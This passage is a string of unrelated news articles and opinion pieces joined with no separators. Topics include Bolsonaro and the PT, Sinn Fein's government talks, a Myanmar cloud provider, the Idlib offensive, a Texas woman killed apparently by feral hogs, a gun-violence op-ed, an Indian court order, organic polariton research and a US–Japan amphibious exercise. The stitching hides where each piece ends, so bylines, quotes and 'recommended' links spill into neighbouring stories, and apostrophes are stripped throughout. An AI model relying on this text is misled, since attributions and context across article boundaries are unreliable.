behavior, call him an incompetent manager and a militia president, accusing him of association with death squads and organized crime in Rio de Janeiro. This last accusation resurfaced after Adriano Nobrega, a former military police captain accused of commanding a militia in Rio de Janeiro, was killed on February 9 by police in Bahia, where he was hiding out. Adriano had various connections to the Bolsonaro family, especially with the presidents son, Flavio Bolsonaro. When he was a state representative in Rio de Janeiro in 2005, Flavio awarded a medal to Captain Adriano, who was known for his violence during operations in the favelas. Later, the deputy appointed Adrianos mother and ex-wife as advisors to his office, which is the subject of a corruption investigation. The circumstances of Adrianos death, as well as the likelihood of his having compromising information about the Bolsonaro family, led to conjecture that he may have been killed to silence him. Trying to shift the weight of the suspicions that fell on him, Bolsonaro turned the accusations, without any foundation, against the PT. Who is responsible for the death of Captain Adriano? he told the media It was the [Military Police] of Bahia, the PT. Do you need to say anything else? The PT responded to the president through a declaration by 20 governors, a kind of broad front of bourgeois politicians against Bolsonaro. It included notable politicians of the extreme right, like Joao Doria, who governs Sao Paulo for the Brazilian Social Democratic Party (PSDB), and Wilson Witzel, who governs Rio de Janeiro for the Christian Social Party (PSC), both elected as supporters of Bolsonaro. The governors front published an open letter censuring the president for attributing grave acts to the conduct of the police and their governors. Events repeatedly reveal that the alternative to Bolsonaro offered by the PT and its pseudo-left satellites has a deeply reactionary character. It has its roots in the rotten soil of bourgeois politics, feeds off its factional disputes and rests heavily upon the military. This orientation can only produce monstrous results, like the fascist Jair Bolsonaro himself. The fact that Bolsonaro occupies the presidency is an expression of a sharp right-wing turn by both the Brazilian and the world capitalist ruling classes. This turn originates not merely in the realm of ideology, but rather has its source in the absolutely material concerns of the bourgeoisie over the global rise of the class struggle. The only possible way to face the global threat of fascism and dictatorship is the international mobilization of the working class, based on an intransigent political independence and the struggle for a socialist and internationalist program. The author also recommends: Bolsonaros victory and the debacle of Brazils Workers Party [Oct 31, 2018] Who is responsible for the rise of the fascistic Bolsonaro in Brazil? [Oct 20, 2018] Brazilian Workers Party uses crime wave to back Bolsonaro [Jan 25, 2019] Sinn Fein members have been told Gerry Adams is a central part of the party's government formation negotiating team. In a Sinn Fein briefing note, Mr Adams is listed along with other unelected party members Martin Lynch, Dawn Doyle, Stephen McGlade and Ken O'Connell as part of the team. Sinn Fein publicly announced that its negotiating team would be led by Pearse Doherty and include Eoin O Broin, Louise O'Reilly and Matt Carthy. Mr Adams attended the ard chomhairle meeting where the negotiating team was decided. However, his appointment was not publicised. Expand Close Mary Lou McDonald presided over Sinn Feins election boost. Picture: PA / Facebook Twitter Email Whatsapp Mary Lou McDonald presided over Sinn Feins election boost. Picture: PA A Sinn Fein spokesperson said: "Sinn Fein has many experienced negotiators and we will draw on that experience as required." A source said Mr Adams had been involved in negotiations for "most of his life" and this was the reason he was involved in the talks. Mr Adams sat in the Dail's visitor gallery at Leinster House during the vote for Taoiseach yesterday, along with other party supporters. He played a low-key role during the General Election campaign but has been attending party events since the vote. The controversial politician resigned as Sinn Fein leader in 2017 and did not run for the Dail in the General Election. He has been questioned by gardai and the PSNI about murders by the Provisional IRA during the Troubles. He claims he was not a member of the terrorist organisation. The Sinn Fein memo, which is signed by the party's deputy leader Mr Doherty, also warns members to be ready for another general election. Mr Doherty said that if it was not possible to form a traditional government, then a minority government or a confidence and supply agreement might be put in place. "If none of this is possible, a second election could take place and we need to be prepared for this," he added. Mr Doherty said Sinn Fein had to "stay true to the politics and messages that we fought the General Election campaign on". They included continuing to push its election slogan of giving "workers and families a break". He also said the party should focus on a "small number of key issues", including seeking Irish unity, cutting rents and freezing them, building homes, restoring the pension age to 65 and taking the first 30,000 people earn out of the USC. "Our voters need to get the message from our approach and publicity around any negotiations that we are seriously committed to delivering the kind of transformative change they are looking for and that we will live by the commitments we have made," he said. Mr Doherty said the Sinn Fein ard chomhairle had "directed the Sinn Fein negotiations team to establish whether a credible programme for government can be negotiated". "This would allow the ard chomhairle to recommend to an ard fheis whether we go into government. There will be no such initiative without ard fheis authorisation," he added. Mr Doherty has been leading talks for Sinn Fein with the Social Democrats, the Green Party and Solidarity-People Before Profit. Businesses in Myanmar are growing rapidly in no small part due to the cloud services offerings from Golden TMH (GTMH). With offices in Mandalay and Yangon, the company is one of the leading telecommunications companies in the nation. GTMHs solution portfolio is diverse, with numerous services that span the entire software stack including cloud-based backup, disaster recovery, storage, and web hosting services, as well as software-defined infrastructure using private and hybrid cloud models. Notably, all of these solutions benefit from the companys ironclad network. GTMH has two service centers from which it offers private and hybrid cloud services based on VMware technology: one in Yangon, which the company will expand this year to include more than 400 racks, and another in Mandalay. Aung Kyaw Thu, GTMHs cloud infrastructure team lead, notes that it was imperative for the company and its customers that GTMH receive the VMware Cloud Verified distinction and mark of authenticity. VMware is trusted and familiar to most of the companies we work with, Thu says, and we believe, as do our customers, that being VMware Cloud Verified is essential to demonstrate our commitment to providing the highest level of service available in the country. GTMH is a full-service provider in the telecom space, he adds. We are fully licensed to operate everything businesses here need, including our own international gateway. Being able to offer our clients a full range of carrier-grade services including those required for cloud computing and our ability to deliver a fully redundant interconnect with all of the major networks in the country, makes us unique and the cloud leader in Myanmar. So, what is driving demand for cloud services in Myanmar, particularly when many companies previously used hosting and data center services from Singapore? Today, companies in Myanmar are looking to local hosting in order to reduce latency for their applications, systems, and infrastructure, Thu says. There is also a more general move to domestic hosting for compliance reasons. And because GTMH is a carrier, we have the ability to utilize our domestic assets and redundant peering capabilities with all of the major networks to address both latency and compliance needs simultaneously. We have also been able to acquire and train a dedicated team of cloud experts who are making a significant impact on Myanmars young workforce. Thu believes demand for the companys cloud services will increase. In 2020, the company plans to launch new office and data center locations, such as in Naypyitaw, and there are also expansion efforts underway with edge data centers in other parts of the country. Learn more about GTMH and its partnership with VMware here. Born in 1986 and raised in townships and villages in the Mthatha area of the Eastern Cape, a region of rolling hills and wide vistas, Samson identified a connection with art early on. I realized I could draw Snoop Dogg, Tupac and Mandela better than my friends, he recalls. In his early 20s, he joined Isibane, a collective of artists in Cape Town from whom he gleaned support, resources and what he describes as a manual for being an artist. Working for nearly four years at the groups studio, under the guidance of older painters, he forged a vision of his own, as well as an unwavering devotion to the task of making art itself. You cant be drinking, buying good clothes, looking good, he remembers his mentors counseling. If you dont have art materials, what kind of an artist are you? Some 15 years later, that ethic continues to define Samsons practice, which he approaches with an almost ascetic intensity. Though he keeps a house as a formality, he says, he rarely leaves the studio; his purpose, as he sees it, is to hone his gift, stretching his capabilities as far as he can. Indeed, having shown regularly in Cape Town galleries over the past decade, as well as in Berlin, Oaxaca, the Minneapolis Institute of Art and New Yorks Armory Show, Samson is proving himself to be a vital emerging figure in contemporary painting. On Feb. 20, the National Security Committee of Australia decided to extend its restriction on travelers from the Chinese mainland for yet another week. Australian media reported that the travel ban is expected to cost the Australian economy billions of dollars. Industries like tourism and international education have been profoundly affected. The restriction also caused trouble for Chinese students studying in Australia. Its estimated that over 100,000 Chinese students cant make it back to Australia on time for their studies. In this video, we interviewed people living, working and studying in Australia. It shares their view regarding how the travel ban has affected the country. Syrian rebels and Turkish forces fought government troops in northwest Syria on Thursday as Russian warplanes struck back in a sharp escalation of an intense battle over the last rebel bastions of Syria. The recent escalation in fighting has left one million civilians mostly women and children to desperately flee the relentless bombing and fighting. With nowhere to go, families are sleeping outside or in thin tents in sub-zero weather. Humanitarian groups say more than 300 people, including children and babies as young as seven months old, have died just since the beginning of the year. How we got here The government of President Bashar al-Assad is trying to recapture the opposition-held province of Idlib. Syrian troops backed by Russian forces have been battling since December to eradicate the last rebel strongholds in the region in a nine-year war that has killed an estimated 400,000 Syrians and left much of the country in ruins. Rebel and jihadist groups that hold the area have been trying to overthrow Assad since 2011. Idlib is strategically important to the government. It borders Turkey to the north and provides access via highways from the city of Aleppo to the capital Damascus and the Mediterranean city of Latakia. Turkey and Russia have closely co-ordinated their moves in recent years in Idlib province. Turkey maintains observation posts in northern Syria that were set up to monitor a 2018 ceasefire agreement with Russia. The truce collapsed in late 2019, leading to the current Syrian offensive, backed by Russia. Russian officials have said they hold Turkey responsible for the collapse of the ceasefire deal, saying Ankara had not held up its end to rein in militants who continued attacking Syrian and Russian targets. Turkey rejects the Russian assertion, saying Ankara was making progress against radical groups in Idlib when the Syrian government launched its current offensive. Recent developments The latest Syrian government offensive began Dec. 1. Story continues Syrian troops supported by Russian warplanes and special forces are fighting the rebels in their strongholds in Idlib and Aleppo provinces in what could be one of the final chapters of the nearly decade-old civil war. Syria claims it is going after terrorists and was forced into action. But the UN said airstrikes have hit a number of hospitals and displaced persons camps. Nearly one million civilians have fled from airstrikes and artillery barrages toward the frontier, overwhelming relief agencies and alarming Turkey, which is struggling to cope with the 3.6 million Syrian refugees already camped inside its borders. Ankara sent in thousands of additional troops and armoured vehicles in recent weeks, vowing to halt the government's advance. "We are delivering our final warnings. We have not reached the desired results as yet," Turkish President Recep Tayyip Erdogan said Wednesday. "The operation in Idlib is a matter of time. We could enter [Idlib] suddenly one night." International response The UN refugee chief, Filippo Grandi, called for a halt to the fighting to allow hundreds of thousands of trapped and destitute civilians to move to places of safety. UN Secretary General Antonio Guterres has called for an immediate ceasefire. French President Emmanuel Macron called on the UN Security Council and European Union to take action. "Today, and for several weeks now, one of the worst humanitarian dramas has been unfolding," Macron told reporters as he arrived at an EU summit in Brussels. Khalil Ashawi/Reuters Notable quotes "Many [civilians] are on foot or on the backs of trucks in below-freezing temperatures, in the rain and snow. They are moving into increasingly crowded areas they think will be safer. But in Idlib, nowhere is safe." - Mark Lowcock, UN humanitarian chief "Children and families are caught between the violence, the biting cold, the lack of food and the desperate living conditions. Such abject disregard for the safety and well-being of children and families is beyond the pale and must not go on." - Henrietta Ford, executive director of the UN's children agency "The sheer quantity of attacks on hospitals, medical facilities and schools would suggest they cannot all be accidental." - Rupert Colville, UN human rights spokesperson ANAHUAC The horrific death struck some people as strange. One day after 59-year-old caregiver Christine Rollins was found dead in a yard, with portions of her legs gnawed away, the Chambers County sheriff said a medical examiner determined feral hogs had killed her. We had suspected that, Sheriff Brian Hawthorne said Nov. 25. Such an attack was practically unheard of and drew national attention. People were used to feral hogs in this rural part of Texas, and they knew the animals usually ran when confronted. But for a hog to kill someone is so exceedingly rare that some struggled to believe it. As people continued to talk, an alternative theory emerged. Rollins, who took care of an elderly woman, died in front of the clients home. The woman and her husband had five dogs, one of which previously bit a worker. Was it possible the dogs caused her death? It made more sense to some. The Centers for Disease Control and Prevention recorded 349,962 non-fatal dog bites seen in emergency departments in 2017. A dog bit the sheriff recently as he campaigned for re-election. No evidence suggested dogs attacked in this case. It certainly showed a hog (or hogs) got to Rollins at some point. But nothing ruled out another animal could have been involved and one small dog was observed with blood on its snout. We need help: A senior community fights back against feral hogs We dont know the complete picture here, said John Mayer, a hog attack expert consulted by the county on the case. We dont know all the circumstances. Among those dissatisfied with the official story was the victims 40-year-old daughter, LaSonthia Sandles. Yes, a dog attack gave her reason to sue. But she thought it also seemed more likely. Mayers research found only four fatal hog attacks ever reported in the United States. I didnt believe it, Sandles said of the official explanation that hogs were responsible, because Ive heard stories about the dog in the house. Be careful Rollins lived near the small city of Liberty. Some mornings, she helped a blind woman. On evenings and alternating weekend days, she helped Louise Laskoskie at her home 30 miles away. Laskoskie and her husband, George Delbert, had a Labrador trained for duck hunting, and four small dogs, resembling corgis or terriers, the sheriff said. Rollins helped feed them. On July 29, a neighbor called to report the Lab bit someone, according to county records. The dog was quarantined for 10 days as state law requires. A vet determined it didnt have rabies. The injury was minor, says Wesley Richey, the sheriffs senior officer for animal services. Richey, who wore muddied rubber boots and a cowboy hat with his uniform, could decide whether a dog should be deemed legally dangerous. Cases like that dont usually lead to taking the dog away permanently. He and the sheriff figured it was natural for a dog to protect where it lives. Thats often why people have them. So the dog was returned to the older couples home, concerning Sandles. She worried about how well Delbert could control his dog as he aged. Well, mama, all I can say is be careful, Sandles recalled telling Rollins. I really think its time for you to find another job. Laskoskies son, Bubba, reached by phone, declined an interview on the familys behalf. He denied the dogs could have done it. Its been a nightmare, his son said. Weve never seen nothing like this our whole life. Gruesome attack On the Sunday she died, Rollins, who became a caregiver after her mother had a stroke, was scheduled to work at the couples home from 6 a.m. to 8 p.m., Sandles said. The sun rose at 6:51 a.m. The pair live on a large property off a state highway outside Anahuac, a swampy area about 50 miles east of Houston known for alligators and birds. Both the couple worked previously for the sheriffs office. She became an assistant office manager in 1978, and he a jailer in 1989. They retired from county work in 2000. Sheriff Hawthorne said Tuesday he did not know of their past employment. Laskoskies husband found Rollins in the yard, according to the sheriffs office report. His son called authorities at 7:35 a.m. At 7:43 a.m., sheriffs Cpl. Braeden Boznango arrived to find Rollins body 6 feet from her Chrysler and 5 feet from the front of the Laskoskies house. She was 5 feet 1 and weighed 131 pounds. The hood of the car was still warm. Rollins was found on her back. Her blue shirt and jacket were pushed up, as if she had been dragged feet-first. Her pants and shoes were off. Her calves looked eaten. The dogs barked. They exhibited territorial aggression, Boznango wrote, and did not back down when commanded. One looked like it had blood on its snout. (Boznango said he noted this not to imply the dogs did it but because he tries to document all facts.) The dogs stood around Rollins body when Laskoskies husband found her, according to the report. Boznango asked him to contain the animals, and the elderly man put them in the house. Rollins daughter, who was planning a Christmas pajama party for her moms 60th birthday, planned a funeral. Blaming the hogs Nothing added up. Yes, one dog had blood on it, but it was small, and the sheriff thinks it would have been bloodier if it were involved in Rollins death. Investigators saw no canine bites. They did see punctures that looked to be caused by tusks. They noticed fresh hog rooting in the yard. Chambers Countys hog problem was worsening, Richey said. Its an issue the region faces: A man in Atascocita said a hog chased his 14-year-old this month, and a man in Montgomery County said one went for his dogs. Residents in a senior community in The Woodlands expressed fear walking at night in their community after Rollins death. Hogs do kill people, usually when feeling threatened, said Mayer, a researcher at Savannah River National Laboratory. There were, however, a handful of attacks where the hog seemed to act as predator, Mayer says. Hogs were also known to feed on corpses. The autopsy report, completed Feb. 4, listed the cause of death as bleeding from a feral hog assault. Pathologist Selly Rivers of Forensic Medical Management Services of Texas described punctures 3 inches deep. Justice of the Peace Yale Devillier filed the death certificate Feb. 7. Devillier is a practiced hunter. Half a hog jaw sits in his shed. He said he would not have believed hogs did it if he hadnt viewed the scene. Richey set a trap on the Laskoskie property. He caught no hogs. The dogs returned home, where a new pen was built and Beware of Dog signs are posted. Enduring mystery Rollins daughter is seeking justice in the case, but no one may ever know how the attack happened. Did dogs scare the feral hogs? Did dogs attack Rollins first, and then hogs move in? Capt. John Miller, who oversees the sheriffs criminal investigations, is awaiting results of a test that will check for hog and dog DNA to close the case. Millers theory is that hogs rounded the corner of the house and found her between house and car, making them feel trapped. Injuries show Rollins was charged while standing, he said. They also show she was likely attacked by more than just a boar and it is unusual for a boar to be with other pigs. The sheriff believes Rollins fought back. It is one of those things, Miller said, that you sit there, and you scratch your head, and you say, Its the damnedest thing Ive ever seen. emily.foxhall@chron.com twitter.com/emfoxhall 184 Shares Share Gun violence has become a public health epidemic. Despite countless deaths in mass shootings over the last two decades, the Dickey Amendmenta provision inserted into the 1996 spending bill which blocked federal funding for research on gun violenceremains on the books. While every politician, media pundit, and policy expert know the solution, the answers are not that simple. In reality, the factors which have fueled the rise in gun violence across America are largely unknown. And if the deep-pocketed gun lobby continues pouring millions into politicians war chests to stifle critical gun research, we may never know. Science must be part of the mass shooting debate. Congress must stop dicking around and repeal the Dickey Amendment, to fund federal research. What if the premise that more guns cause more mass shootingsa contentious debate that has the left and the right locked in battleis entirely wrong? A 2018 study published in Frontiers in Public Health shows that income inequality in communities with higher than average household incomes have a statistically significant relationship with the incidence of mass shootings. This association is far stronger than the now-debunked theory that untreated mental health disorders are responsible for mass shooting events. And while more research like the aforementioned study is necessary, it is highly likely that economic inequality increases the risk of a mass shooting to a greater extent than even firearm access. For instance, the community of Littleton, COwhere Columbine High School is locatedis among the 15 percent highest income neighborhoods in America. Newtown, Connecticuta once-idyllic community where a 20-year old murdered twenty children and six adults at Sandy Hook Elementary Schoolis located in Fairfield County, the wealthiest metropolitan area in the country, according to the Labor Departments Bureau of Economic Analysis, yet it is also among the most unequal in terms in income distribution. Gun violence is not a new phenomenon; the number of deaths in children ages 12-17 by shooting increased by 95 percent between 1980 and 1994. Once considered a problem exclusive to poverty-stricken inner cities, today, gun violence has become pervasive in middle to upper-class neighborhoods, which are no longer exempt from the unjustified carnage. According to the Economic Policy Institute, the three states with the highest income inequality are New York, Connecticut, and Florida. Ironically, those same states have seen some of the deadliest mass shootings in U.S. history. Thirteen people were killed at an immigration center in Binghamton, New York in 2009. On June 12, 2016, In Orlando, Florida, 49 people were killed, and 53 were wounded in a shooting at Pulse, a gay nightclub. Then, on Valentines Day 2018, a former student at Marjory Stoneman Douglas High Schoolin Parkland, Floridakilled 17 and wounded 17 more. While it is not well understood how economic disparity is related to the incidence of mass shootings, research indicates a perspective of relative deprivation, fuels anger, frustration, and resentment especially in young men between the ages of 15-34. Those young men living in highly income variable areas tend to view themselves as superior, feel more entitled, and are less willing to share resources they perceive as scarce. The touchstone of social mobility, income opportunity, and social justice have given way to a harsh new reality in America where radically different trajectories are determined by the circumstances into which one is born. The opportunity gap, known as the Great Gatsby Curve, has widened dramatically over the last 40 years. While household income for the lower half of Americans has barely grown, those in the top 20 percent of earners has soared, increasing by 75 percent. Those earning in the top 5 percent of Americans have seen earning growth of 95 percent. An increasing proportion of society is watching the American dream slip away. The deadliest mass shooting in U.S. history took place in Las Vegas, Nevada on October 1, 2017. A man on a high floor of a hotel opened fire on a country music festival crowd, killing 58 and wounding 422 others. Does the fact Nevada is ranked 4th highest in income inequality in the U.S. have any bearing? Dont you want to know if it does? I certainly do. Economic inequality may have an even greater impact on the incidence of mass shootings than firearm access. While the rampages in Gilroy, California, El Paso, Texas and Dayton, Ohio dominate the national narrative, with all due respect, America is having the wrong conversation. Congress has a golden opportunity to right this wrong: Repealing the Dickey Amendment would finally fund critical research on gun violence and foster healthy conversations between policymakers, physicians, and patients. Niran S. Al-Agba is a pediatrician who blogs at MommyDoc. Image credit: Shutterstock.com The Nagpur bench of Bombay High Court on Friday allowed Bhim Army to hold a workers' meet at Reshimbagh ground in Nagpur here on February 22 with certain conditions. A division bench of Justices Sunil B Shukre and Madhav J Jamdar, while hearing a plea filed by a Bhim Army functionary, said the petition is allowed with conditions. The court said that the meet shall not be converted into a public demonstration or public protest and asked the Bhim Army chief Chandrashekhar Azad to give a written undertaking that they would abide by the conditions. "No inflammatory speeches and no such speeches as would tend to or incite violence or spread hatred amongst citizens or communal ill-feeling or which would lower down the dignity and reputation of the citizens and nation or prejudicially affect the sovereignty and integrity of India or public order shall be given by anybody taking part in the meeting," the order said. The court said that the workers meet shall be held only between 2 pm and 5 pm on Feb 22 and shall not be used for any political purposes. "The petitioner and main speaker Chandrashekhar Azad shall give a written undertaking that they would abide by and ensure compliance with the above-referred conditions to this court, through the registrar of this court, before the start of the meet which undertaking shall form part of this order," the order added. The court said that if any condition is breached, the violator shall be liable not only for the criminal law action but contempt of court action as well. Bhim Army had, on February 12, filed a petition in the Nagpur bench of Bombay High Court seeking permission for a workers' meet in Nagpur's Reshimbagh on February 22. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Born in Detroit to a large family more than 30 relatives attended his December swearing-in ceremony Mr. Biegun was in high school in Pontiac, Mich., when a history teacher wrote the word czar on the chalkboard in the Cyrillic alphabet. He was immediately fascinated and went on to study Russian at the University of Michigan. Mr. Biegun lived in Moscow in the early 1990s, when he worked for the International Republican Institute, which promotes democracy with some funding from the State Department and the United States Agency for International Development. But he mostly developed his national security credentials on Capitol Hill first as a top Republican staff member on the Senate Foreign Relations Committee and later to Senator Bill Frist of Tennessee, then the majority leader and at the White House as a top aide to Condoleezza Rice, who was the first national security adviser in the Bush administration. He traveled to Russia as a vice president at Ford, negotiating new business ventures, but also took time off to briefly advise Sarah Palin, the Republican vice-presidential nominee in 2008. That position, according to colleagues, revealed his ability to maintain patience under pressure and to avoid a condescending tone even when having to explain the most basic foreign policy axioms to his boss. In his new job, Mr. Biegun will also remain the lead negotiator with North Korea a dual role, he has said, that elevates the priority on North Korea to the deputy secretary position, and I think thats very important. But the diplomacy has fizzled since Mr. Trump and Mr. Kim abruptly left a summit meeting in Vietnam a year ago, unable to agree on a path for denuclearizing the Korean Peninsula. Critics say the Trump administration was too willing to keep the talks going and the president too eager to meet with Mr. Kim even as North Korea was busily building up its arsenal. Mr. Biegun was not only trying to negotiate with the North Koreans, but he was also engaged in a behind-the-scenes fight with Mr. Trumps national security adviser at the time, John R. Bolton, who believed Mr. Biegun was pursuing a useless mission. A team of scientists from the Hybrid Photonics Laboratory at the Skolkovo Institute of Science and Technology (Skoltech) and the University of Sheffield (UK) made a breakthrough in understanding nonlinear physics of the strong interaction of organic molecules with light. Principles of strong light matter interaction open new horizons of ultra-fast and low energy all-optical data processing. The findings were published in Communications Physics and featured in the February issue of Nature Physics. The study was partially supported by Russian Science Foundation (RSF). Perhaps everybody knows organic matter as the essential building blocks for living nature. Indeed, the interactions between organic molecules and light is a pivotal process for photosynthesis, light-induced biochemical regulation and many other mechanisms in nature making our life on Earth feasible. Beyond that side, there are dozens of applications for a variety of light-matter interactions in organic systems. Nowadays organic materials represent a wide class of materials actively used in light-emitting devices (LED) industry, in flexible electronics and solar cells fabrication, as photosensitive sensors and bio labels of cancer etc.. The rapidly growing organic LED (OLED) market is a good example showing a great commercial potential of organic materials in real-life technologies. Skoltech's Hybrid Photonics Laboratory, led by Professor Pavlos Lagoudakis, focuses on developing a new paradigm of optoelectronics based on strong interaction between organic materials and light. The key difference from conventional approaches is that light (photons) in such systems get strongly correlated with collective electronic excitations on a molecule (excitons), which gives rise for new particles, namely polaritons. These light-matter entangled particles inherit ultra-fast propagation of light and electronic properties of materials resulting in a very exotic hybrid form of light and matter called liquid light. "Does this make a world of difference? Sure it does, as the strong light-matter coupling can slow down photodegradation of molecules extending their lifetime, change the course of photochemical reactions and provide photons with an ability to interact with each other, the latter feature allows us to develop efficient optical signal processing devices", says prof Pavlos Lagoudakis. Currently, fiber optic networks handle huge amounts of data but if one wants to process optical signals then light has to be converted into electrical signals and back. In contrast, strong-coupling principles offer unique opportunities for all-optical data processing technologies with record speeds and better energy conversion efficiencies. The past decade has witnessed remarkable achievements in the field of polaritonics, running the gamut from the first organic polariton laser to room-temperature superfluidity and invention of the first organic polariton transistor . It is worth recalling that Skoltech ranks as a global leader of the field. However, despite remarkable progress in this field, the mechanisms of polariton interactions in organic systems have remained poorly understood fueling debates in the scientific community. The mystery of polariton interactions has finally been resolved: Skoltech's research gives a decisive answer to this controversial question. The scientists carried out an in-depth experimental study which revealed a clear origin of nonlinear phenomena related to polariton condensates - the state consisting of hundreds and even thousands of polaritons sharing the same properties. "Our experiments indicate an abrupt shift in spectral properties of polariton condensates when established, that always drives the frequency of polaritons towards higher values. We find it specific for nonlinear processes occurring in the system. As through change of metal colour upon heating one can access the temperature, similarly, we extract nonlinearity of organics by means of in-depth analysis of the frequency shifts", explains the first author of the paper, Junior Research Scientist at the Hybrid Photonics Labs, Dr Timur Yagafarov. The comprehensive experimental study accompanied by a thorough data analysis favors unraveling important dependencies of the polariton nonlinear properties on the key parameters of the interaction between organic molecules and light. The scientists were the first to discover a strong impact of the energy transfer between neighboring molecules on the nonlinear properties of organic polaritons and now understand underlying mechanisms driving polaritons in organics. With the proposed theory, one can find the experimental parameters required to coupling several polariton condensates into a single circuit and building a polariton all-optical signal processor. From a fundamental point of view, the new knowledge may help to explain the phenomenon of polariton superfluidity in organic matter. "These findings are of high interest to not only our research area but can be helpful in other fields as well. I believe the nonlinearity mechanisms discovered are quite general among the organic materials, therefore it might prove to be universal for strongly-coupled organic systems", comments Senior Research Scientist at the Hybrid Photonics Laboratory, Dr Anton Zasedatelev. ### 2.3k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard The Mike Bloomberg campaign is accusing Bernie Sanders supporters of vandalizing their campaign office in Knoxville, TN. Bloomberg Campaign Manager Kevin Sheekey said in a statement provided to PoliticusUSA: This latest incident at our Knoxville campaign office is exactly what weve been warning about. We dont know who is responsible for this vandalism, but we do know it echoes language from the Sanders campaign and its supporters. Over the past week, weve seen similar attacks against Mike Bloomberg 2020 offices in multiple states. Fortunately, no one has been injured. But this needs to end before someone gets hurt. We call on Bernie Sanders to immediately condemn these attacks and for his campaign to end the Trump-like rhetoric that is clearly encouraging his supporters to engage in behavior that has no place in our politics. Team Bloomberg said that they have had campaign offices in Ohio and Michigan vandalized with similar language as that of the Sanders campaign. It is important to remember that this is just an allegation made by one campaign against the supporters of another, but it is the second time in less than a week that supporters of Sen. Sanders have been called for their behavior. Pete Buttigieg questioned Sen. Sanders about the behavior of his supporters online. If it is proven that Sanders supporters are engaging in acts of criminal vandalism against the Bloomberg campaign, it will be on Bernie Sanders to set the tone and be firmer with his supporters. So far, this is only an allegation, but it is a signal of the ugliness that is growing within the Democratic primary campaign. For more discussion about this story join our Rachel Maddow and MSNBC group. Follow Jason Easley on Facebook US Sailors, Marines Train Alongside Japanese Soldiers in Exercise Iron Fist Navy News Service Story Number: NNS200220-06 Release Date: 2/20/2020 12:52:00 PM By MC2 Natalie Byers and MC2 Jessica Paulauskas, PACIFIC OCEAN (NNS) -- Harpers Ferry-class dock landing ship USS Pearl Harbor (LSD 52) and amphibious transport dock ship USS Portland (LPD 27) along with U.S. Marines welcomed aboard Japanese Ground Self-Defense Force (JGSDF) Amphibious Rapid Deployment Regiment soldiers in support of Exercise Iron Fist 2020, Feb. 3 through Feb. 14. More than 400 Marines attached to 15th Marine Expeditionary Unit (MEU); 2nd Battalion, 1st Marines and Combat Logistics Battalion 15 embarked Pearl Harbor and Portland to exercise amphibious operational core competencies and demonstrate the enhanced air and amphibious capability of joint American-Japanese forces. "For more than a decade, Iron fist has helped us operate together in a maritime environment," said Rear Adm. John Gumbleton, commander, Expeditionary Strike Group 3. "The amphibious operations are vital to effective crisis response and support to regional maritime security." Exercise Iron Fist demonstrates more than 50 years of interoperability development and enhanced amphibious capability of U.S. and Japanese forces. Pearl Harbor provided both an air and amphibious platform for U.S. Marine Corps and JGSDF soldiers to train and conduct operations. "I am surprised at how quickly we came together as a team," said Cmdr. Kevin T. Dean, commanding officer of Pearl Harbor. "Both the USMC and the JGSDF operate AAVs the same way, but it is another thing all together to operationalize a bilateral force quickly, despite a significant language barrier to achieve effective ship to shore tactical objectives. "This exercise reassured that we can deliver the rapid global expeditionary response capabilities expected of the U.S. Navy and Marine Corps team." Sailors and Marines kept both ship's flight decks active as CH-53E Super Stallion helicopters from the "Heavy Haulers" of Marine Heavy Helicopter Squadron (HMH) 462 and the "Warhorse" of HMH-465 conducted deck landing qualifications aboard Portland. MV-22B Ospreys from the "White Knights" of Marine Medium Tilt Rotor Squadron (VMM) 165 conducted a simulated air assault exercise from the flight deck aboard Pearl Harbor and Portland. These rotary wing assets can put Marines on the ground at a specific location for an assault, help support them, and then extract them once a mission is accomplished. The successful evolution of the air assault reinforced the skills necessary for air and ground combat elements to establish a force on a hostile shore, if needed. "I couldn't be prouder of how our Sailors and Marines have performed," said Portland's Commanding Officer Capt. Karrey Sanders. "Portland Sailors have executed every event required of them at the highest level. This exercise has allowed the crew to demonstrate their expertise in amphibious operations and flight operations." Eleven assault amphibious vehicles (AAVs) transited to Portland from Marine Corps Base Camp Pendleton, California, Feb. 5. Portland Sailors and Marines with 3rd Assault Amphibian Battalion, 1st Marine Division, collaborated efforts to recover the AAVs safely and efficiently. The AAVs disembarked Portland in route to San Clemente Island, California, for a simulated shore landing and returned back to the ship for another successful recovery, Feb. 6. The battalion later conducted a ground assault, leaving Portland Feb. 12, in route back to Camp Pendleton. Throughout the exercise Sailors, Marines and Japanese soldiers came together to successfully launch multiple amphibious assault vehicle operations, conducted more than 20 flight deck landings, and welcomed aboard Pearl Harbor Lt. Gen. Joseph Osterman, commanding general, I Marine Expeditionary Force, Maj. Gen. Takanori Hirata, commanding general, Amphibious Raid Development Brigade, Rear Adm. John Gumbleton, commander, Expeditionary Strike Group 3, Captain John Barnett, commodore of Amphibious Squadron 1, Akira Muto, Japanese Consul General of Los Angeles, and Issei Koska, Japanese Vice Consul of Los Angeles. "Over the course of the last few weeks, I know that our Marines, Sailors and Japanese soldiers have pushed themselves in the field, sharpening their technical and tactical proficiency," Osterman said. "Training alongside each other on USS Pearl Harbor and USS Portland, the beaches of Camp Pendleton and on San Clemente Island reflects the amphibious nature that is the heart and soul of the Marine Corps and the Amphibious Rapid Deployment Brigade. It's the bond between the Japanese soldiers, Marines and Sailors molded in shared experiencetraining side-by-sidethat truly makes us stronger as we continue to build on the foundation of our partnerships." Iron Fist 2020 occurs during the 60th anniversary of the signing of the Treaty of Mutual Cooperation and Security between the U.S. and Japan, exemplifying the spirit of trust and cooperation between the Marine Corps and JGSDF. This year marked the 15th iteration of Exercise Iron Fist and put greater focus on the JGSDF's ability to plan and conduct combined amphibious operations. "As we continue to work side-by-side with the Japanese Self-Defense Forces, we grow our already strong partnership making us a stronger more lethal force with the goal of maintaining peace and prosperity in the Indo-Pacific region," Gumbleton said. Iron Fist is an annual exercise designed to enhance the U.S. and Japanese forces' ability to plan, communicate and conduct combined amphibious operations. Bilateral training exercises, like Iron Fist, develop forces capable of working in close collaboration and strengthen U.S. 3rd Fleet's ability to respond quickly and effectively to crisis that may occur in the Indo-Pacific. U.S. 3rd Fleet leads naval forces in the Indo-Pacific and provides the realistic, relevant training necessary for an effective global Navy. U.S. 3rd Fleet works in close coordination with U.S. 7th Fleet to provide commanders with capable, ready assets across the spectrum of military operations in the Indo-Pacific. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Source: Xinhua| 2020-02-21 01:08:36|Editor: Shi Yinglun Video Player Close Cambodian health officials check body temperature of Westerdam cruise ship passengers in Phnom Penh, Cambodia on Feb. 19, 2020. The cruise liner, carrying 